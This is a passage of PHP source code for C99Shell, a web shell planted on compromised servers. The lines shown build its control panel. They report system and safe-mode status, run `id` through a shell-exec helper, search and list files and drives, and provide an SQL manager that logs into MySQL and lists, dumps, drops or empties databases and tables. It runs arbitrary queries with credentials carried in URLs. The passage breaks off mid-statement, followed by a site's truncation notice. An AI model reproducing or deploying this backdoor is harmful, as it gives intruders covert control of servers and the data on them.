  662. if (!function_exists("mysql_buildwhere"))
  663. {
  664. function mysql_buildwhere($array,$sep=" and",$functs=array())
  665. {
  666. if (!is_array($array)) {$array = array();}
  667. $result = "";
  668. foreach($array as $k=>$v)
  669. {
  670. $value = "";
  671. if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  672. $value .= "'".addslashes($v)."'";
  673. if (!empty($functs[$k])) {$value .= ")";}
  674. $result .= "`".$k."` = ".$value.$sep;
  675. }
  676. $result = substr($result,0,strlen($result)-strlen($sep));
  677. return $result;
  678. }
  679. }
  680. if (!function_exists("mysql_fetch_all"))
  681. {
  682. function mysql_fetch_all($query,$sock)
  683. {
  684. if ($sock) {$result = mysql_query($query,$sock);}
  685. else {$result = mysql_query($query);}
  686. $array = array();
  687. while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  688. mysql_free_result($result);
  689. return $array;
  690. }
  691. }
  692. if (!function_exists("mysql_smarterror"))
  693. {
  694. function mysql_smarterror($type,$sock)
  695. {
  696. if ($sock) {$error = mysql_error($sock);}
  697. else {$error = mysql_error();}
  698. $error = htmlspecialchars($error);
  699. return $error;
  700. }
  701. }
  702. if (!function_exists("mysql_query_form"))
  703. {
  704. function mysql_query_form()
  705. {
  706. global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  707. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  708. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  709. if ((!$submit) or ($sql_act))
  710. {
  711. echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=\"sql_act\" value=\"query\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  712. if ($tbl_struct)
  713. {
  714. echo "<td valign=\"top\"><b>Fields:</b><br>";
  715. foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "? <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  716. echo "</td></tr></table>";
  717. }
  718. }
  719. if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  720. }
  721. }
  722. if (!function_exists("mysql_create_db"))
  723. {
  724. function mysql_create_db($db,$sock="")
  725. {
  726. $sql = "CREATE DATABASE `".addslashes($db)."`;";
  727. if ($sock) {return mysql_query($sql,$sock);}
  728. else {return mysql_query($sql);}
  729. }
  730. }
  731. if (!function_exists("mysql_query_parse"))
  732. {
  733. function mysql_query_parse($query)
  734. {
  735. $query = trim($query);
  736. $arr = explode (" ",$query);
  737. /*array array()
  738. {
  739. "METHOD"=>array(output_type),
  740. "METHOD1"...
  741. ...
  742. }
  743. if output_type == 0, no output,
  744. if output_type == 1, no output if no error
  745. if output_type == 2, output without control-buttons
  746. if output_type == 3, output with control-buttons
  747. */
  748. $types = array(
  749. "SELECT"=>array(3,1),
  750. "SHOW"=>array(2,1),
  751. "DELETE"=>array(1),
  752. "DROP"=>array(1)
  753. );
  754. $result = array();
  755. $op = strtoupper($arr[0]);
  756. if (is_array($types[$op]))
  757. {
  758. $result["propertions"] = $types[$op];
  759. $result["query"] = $query;
  760. if ($types[$op] == 2)
  761. {
  762. foreach($arr as $k=>$v)
  763. {
  764. if (strtoupper($v) == "LIMIT")
  765. {
  766. $result["limit"] = $arr[$k+1];
  767. $result["limit"] = explode(",",$result["limit"]);
  768. if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  769. unset($arr[$k],$arr[$k+1]);
  770. }
  771. }
  772. }
  773. }
  774. else {return false;}
  775. }
  776. }
  777. if (!function_exists("c99fsearch"))
  778. {
  779. function c99fsearch($d)
  780. {
  781. global $found;
  782. global $found_d;
  783. global $found_f;
  784. global $search_i_f;
  785. global $search_i_d;
  786. global $a;
  787. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  788. $h = opendir($d);
  789. while (($f = readdir($h)) !== false)
  790. {
  791. if($f != "." && $f != "..")
  792. {
  793. $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
  794. if (is_dir($d.$f))
  795. {
  796. $search_i_d++;
  797. if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  798. if (!is_link($d.$f)) {c99fsearch($d.$f);}
  799. }
  800. else
  801. {
  802. $search_i_f++;
  803. if ($bool)
  804. {
  805. if (!empty($a["text"]))
  806. {
  807. $r = @file_get_contents($d.$f);
  808. if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  809. if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  810. if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  811. else {$bool = strpos(" ".$r,$a["text"],1);}
  812. if ($a["text_not"]) {$bool = !$bool;}
  813. if ($bool) {$found[] = $d.$f; $found_f++;}
  814. }
  815. else {$found[] = $d.$f; $found_f++;}
  816. }
  817. }
  818. }
  819. }
  820. closedir($h);
  821. }
  822. }
  823. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  824. //Sending headers
  825. @ob_start();
  826. @ob_implicit_flush(0);
  827. function onphpshutdown()
  828. {
  829. global $gzipencode,$ft;
  830. if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  831. {
  832. $v = @ob_get_contents();
  833. @ob_end_clean();
  834. @ob_start("ob_gzHandler");
  835. echo $v;
  836. @ob_end_flush();
  837. }
  838. }
  839. function c99shexit()
  840. {
  841. onphpshutdown();
  842. exit;
  843. }
  844. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  845. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  846. header("Cache-Control: no-store, no-cache, must-revalidate");
  847. header("Cache-Control: post-check=0, pre-check=0", false);
  848. header("Pragma: no-cache");
  849. if (empty($tmpdir))
  850. {
  851. $tmpdir = ini_get("upload_tmp_dir");
  852. if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  853. }
  854. $tmpdir = realpath($tmpdir);
  855. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  856. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  857. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  858. else {$tmpdir_logs = realpath($tmpdir_logs);}
  859. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  860. {
  861. $safemode = true;
  862. $hsafemode = "<font color=red>ON (secure)</font>";
  863. }
  864. else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  865. $v = @ini_get("open_basedir");
  866. if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
  867. else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  868. $sort = htmlspecialchars($sort);
  869. if (empty($sort)) {$sort = $sort_default;}
  870. $sort[1] = strtolower($sort[1]);
  871. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  872. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  873. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  874. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  875. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  876. @ini_set("highlight.default",$highlight_default); //#0000BB
  877. @ini_set("highlight.html",$highlight_html); //#000000
  878. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  879. @ini_set("highlight.string",$highlight_string); //#DD0000
  880. if (!is_array($actbox)) {$actbox = array();}
  881. $dspact = $act = htmlspecialchars($act);
  882. $disp_fullpath = $ls_arr = $notls = null;
  883. $ud = urlencode($d);
  884. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  885. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  886. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  887. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  888. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  889. $d = str_replace("\\\\","\\",$d);
  890. $dispd = htmlspecialchars($d);
  891. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  892. $i = 0;
  893. foreach($pd as $b)
  894. {
  895. $t = "";
  896. $j = 0;
  897. foreach ($e as $r)
  898. {
  899. $t.= $r.DIRECTORY_SEPARATOR;
  900. if ($j == $i) {break;}
  901. $j++;
  902. }
  903. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  904. $i++;
  905. }
  906. echo "&nbsp;&nbsp;&nbsp;";
  907. if (is_writable($d))
  908. {
  909. $wd = true;
  910. $wdt = "<font color=green>[ ok ]</font>";
  911. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  912. }
  913. else
  914. {
  915. $wd = false;
  916. $wdt = "<font color=red>[ Read-Only ]</font>";
  917. echo "<b>".view_perms_color($d)."</b>";
  918. }
  919. if (is_callable("disk_free_space"))
  920. {
  921. $free = disk_free_space($d);
  922. $total = disk_total_space($d);
  923. if ($free === false) {$free = 0;}
  924. if ($total === false) {$total = 0;}
  925. if ($free < 0) {$free = 0;}
  926. if ($total < 0) {$total = 0;}
  927. $used = $total-$free;
  928. $free_percent = round(100/($total/$free),2);
  929. echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  930. }
  931. echo "<br>";
  932. $letters = "";
  933. if ($win)
  934. {
  935. $v = explode("\\",$d);
  936. $v = $v[0];
  937. foreach (range("a","z") as $letter)
  938. {
  939. $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  940. if (!$bool) {$bool = is_dir($letter.":\\");}
  941. if ($bool)
  942. {
  943. $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  944. if ($letter.":" != $v) {$letters .= $letter;}
  945. else {$letters .= "<font color=green>".$letter."</font>";}
  946. $letters .= " ]</a> ";
  947. }
  948. }
  949. if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  950. }
  951. if (count($quicklaunch) > 0)
  952. {
  953. foreach($quicklaunch as $item)
  954. {
  955. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  956. $item[1] = str_replace("%sort",$sort,$item[1]);
  957. $v = realpath($d."..");
  958. if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  959. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  960. echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  961. }
  962. }
  963. echo "</p></td></tr></table><br>";
  964. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  965. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  966. if ($act == "") {$act = $dspact = "ls";}
  967. if ($act == "sql")
  968. {
  969. $sql_surl = $surl."act=sql";
  970. if ($sql_login) {$sql_surl .= "&sql_login=".urlencode($sql_login);}
  971. if ($sql_passwd) {$sql_surl .= "&sql_passwd=".urlencode($sql_passwd);}
  972. if ($sql_server) {$sql_surl .= "&sql_server=".urlencode($sql_server);}
  973. if ($sql_port) {$sql_surl .= "&sql_port=".urlencode($sql_port);}
  974. if ($sql_db) {$sql_surl .= "&sql_db=".urlencode($sql_db);}
  975. $sql_surl .= "&";
  976. //echo "<h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3>";
  977. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\"><tr><td width=\"100%\" height=1 colspan=2 valign=top><center>";
  978. if ($sql_server)
  979. {
  980. $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  981. $err = mysql_smarterror();
  982. @mysql_select_db($sql_db,$sql_sock);
  983. if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  984. }
  985. else {$sql_sock = false;}
  986. echo "<b>SQL Manager:</b><br>";
  987. if (!$sql_sock)
  988. {
  989. if (!$sql_server) {echo "NO CONNECTION";}
  990. else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  991. }
  992. else
  993. {
  994. $sqlquicklaunch = array();
  995. $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  996. $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  997. $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  998. $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  999. $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  1000. $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  1001. echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  1002. if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  1003. echo "</center>";
  1004. }
  1005. echo "</td></tr><tr>";
  1006. if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type=hidden name=act value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type=submit value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  1007. else
  1008. {
  1009. //Start left panel
  1010. if (!empty($sql_db))
  1011. {
  1012. echo "<td width=\"25%\" height=\"100%\" valign=\"top\"><a href=\"".$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&\"><b>Home</b></a><hr size=\"1\" noshade>";
  1013. $result = mysql_list_tables($sql_db);
  1014. if (!$result) {echo mysql_smarterror();}
  1015. else
  1016. {
  1017. echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1018. $c = 0;
  1019. while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1020. if (!$c) {echo "No tables found in database.";}
  1021. }
  1022. }
  1023. else
  1024. {
  1025. echo "<td width=1 height=100 valign=top><a href=\"".$sql_surl."\"><b>Home</b></a><hr size=1 noshade>";
  1026. $result = mysql_list_dbs($sql_sock);
  1027. if (!$result) {echo mysql_smarterror();}
  1028. else
  1029. {
  1030. echo "<form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><select name=sql_db>";
  1031. $c = 0;
  1032. $dbs = "";
  1033. while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1034. echo "<option value=\"\">Databases (".$c.")</option>";
  1035. echo $dbs;
  1036. }
  1037. ?></select><hr size=1 noshade>Please, select database<hr size=1 noshade><input type=submit value="Go"></form><?php
  1038. }
  1039. //End left panel
  1040. echo "</td><td width=\"100%\" height=1 valign=top>";
  1041. //Start center panel
  1042. $diplay = true;
  1043. if ($sql_db)
  1044. {
  1045. if (!is_numeric($c)) {$c = 0;}
  1046. if ($c == 0) {$c = "no";}
  1047. echo "<hr size=1 noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1048. if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1049. echo "</b></center>";
  1050. $acts = array("","dump");
  1051. if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1052. elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1053. elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1054. elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1055. elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1056. elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1057. elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1058. elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1059. elseif ($sql_tbl_act == "insert")
  1060. {
  1061. if ($sql_tbl_insert_radio == 1)
  1062. {
  1063. $keys = "";
  1064. $akeys = array_keys($sql_tbl_insert);
  1065. foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1066. if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1067. $values = "";
  1068. $i = 0;
  1069. foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1070. if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1071. $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1072. $sql_act = "query";
  1073. $sql_tbl_act = "browse";
  1074. }
  1075. elseif ($sql_tbl_insert_radio == 2)
  1076. {
  1077. $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1078. $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1079. $result = mysql_query($sql_query) or pr

Large files files are truncated, but you can click here to view the full file